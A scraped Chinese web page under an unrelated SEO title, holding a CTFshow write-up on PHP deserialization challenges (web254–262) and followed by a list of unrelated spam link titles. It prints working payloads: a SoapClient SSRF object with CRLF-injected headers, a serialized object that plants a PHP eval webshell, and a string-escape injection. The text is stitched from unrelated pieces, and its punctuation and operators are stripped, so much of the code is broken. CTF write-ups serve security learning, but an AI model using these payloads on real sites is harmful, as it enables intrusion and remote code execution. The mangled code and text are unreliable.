当前位置: 首页 > news >正文

php网站模板怎么修改回合制网页游戏大全

php网站模板怎么修改,回合制网页游戏大全,wordpress 离线升级,自己有服务器如何建设微网站PHP反序列化前置知识 序列化和反序列化 对象是不能在字节流中传输的#xff0c;序列化就是把对象转化为字符串以便存储和传输#xff0c;反序列化就是将字符串转化为对象 魔术方法 __construct() //构造#xff0c;当对象new时调用 __wakeup() //执行unserialize()时序列化就是把对象转化为字符串以便存储和传输反序列化就是将字符串转化为对象 魔术方法 __construct() //构造当对象new时调用 __wakeup() //执行unserialize()时先会调用这个函数 __sleep() //执行serialize()时先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 链 web254 这里其实没有涉及反序列化。这题使用GET方式获取username和password的值创建一个ctfshowUser对象-代表指向首先调用上面的login方法login方法使用this代表前面的username和password的值为ctfshowUser的值xxxxxx如果满足条件就把 $this-isViptrue然后通过vipOneKeyGetFlag()通过判断获取flag构造?usernamexxxxxxpasswordxxxxxx即可 web255 这题的区别在于login方法不能把isvip置为true而且user为对cookie值进行反序列化的结果这里我们需要对class ctfShowUser进行序列化并且修改 public $isVipfalse为true,首先构造序列化然后将序列化结果以cookie方式传递 ?php class ctfShowUser{public $isViptrue; } $anew ctfShowUser; echo urlencode(serialize($a)); ?web256 这题需要构造username不等于password原来他们都是xxxxxx,现在需要通过序列化修改初始值 web257 __construct() //构造当对象new时调用 __destruct() //对象被销毁时触发 这题在新建对象时先实例化info然后在销毁时调用getinfo方法而我们的最终目的是调用backdoor的方法使用eval这个函数 web258 这题使用正则表达式过滤使用号绕过 web259 __call 在对象中调用一个不可访问方法时调用 在这道题中$vip-getFlag();因为调用了类中没有的方法所以会导致__call的执行 payload ?php $target http://127.0.0.1/flag.php; $post_string tokenctfshow; $b new SoapClient(null,array(location $target,user_agentwupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded.^^Content-Length: .(string)strlen($post_string).^^^^.$post_string,uri ssrf)); $a serialize($b); $a str_replace(^^,\r\n,$a); echo urlencode($a); ?O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7Dr 传入vip然后访问flag.txt即可 web260 此题只需要满足匹配条件就行 web261 题目是这样的构造payload ?phpclass ctfshowvip{public $username877.php;public $password?php eval($_POST[yc]); ?; } $anew ctfshowvip(); echo urlencode(serialize($a)); ?首先__construct方法是创建对象时调用的我们现在给username和password赋予初值同时对象销毁时调用__destruct这里进行了弱类型比较0x36D877.php然后__unserialize() 和 __wakeup()两个魔术方法都定义在用一个对象中 则只有 __unserialize() 方法会生效__wakeup() 方法会被忽略。这里进行了字符串拼接 web262字符串逃逸 这题主要考察字符串逃逸 PHP 在反序列化时对类中不存在的属性也会进行反序列化 • PHP 在反序列化时底层代码是以 ;作为字段的分隔以 } 作为结尾(字符串除外)并且是根据长度判断内容的 序列化 需要构造 “;s:5:“token”;s:5:“admin”;}一共27字符 构造payload f1m1t1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;}然后访问message.php即可
http://www.dnsts.com.cn/news/159515.html

相关文章:

  • 买完网站怎么建设网站备案ip查询
  • 在58做网站推广有用没wordpress戏
  • 卖产品的网站怎么做的深圳彩页设计
  • 杭州外贸建站网络销售公司产品推广方案
  • 网站怎么做数据转移做的差的网站
  • 企业网站建设河北关于公司申请建设门户网站的请示
  • 苏州设置网站建设做熊猫tv网站的目的
  • 校园网站界面建设房地产设计图与规划图
  • 做教育网站的er图如何做网站不被查
  • 源码网站制作教程上海第五届中国国际进口博览会直播
  • 酒店网站开发方案手机商城下载app
  • 做字幕模板下载网站哈尔滨百度网站建设
  • 凡科建站快车代理登录怎么提交公司网站
  • 百度seo网站惠州百优做网站小程序熊掌号
  • 济南网站制作厂家网站建设技术网站
  • 山东德州网站建设外包网站开发安全吗
  • 免费制作app生成器网站建设网站图片
  • php网站开发电子书wordpress音乐页面
  • 台北网站建设厦门网站建设68
  • 定期更新网站福州网站建设新闻
  • 成都武侯区建设厅官方网站洛阳网站建设报价
  • 外贸网站哪家好免费发布招工的平台
  • 合山市网站做网站编程要学什么
  • 怎么让自己的网站通过域名访问不了虎扑体育网体育
  • 贷款网站模板中铁建设集团有限公司招投标平台
  • 学校网站建设情况报告网站手机pc同步
  • 纯静态企业网站百度收录快速提交
  • 好看的中文网站设计百度企业信用
  • 怎样创造网站wordpress 创建数据表
  • 骏域网站建设腾讯云做网站选哪个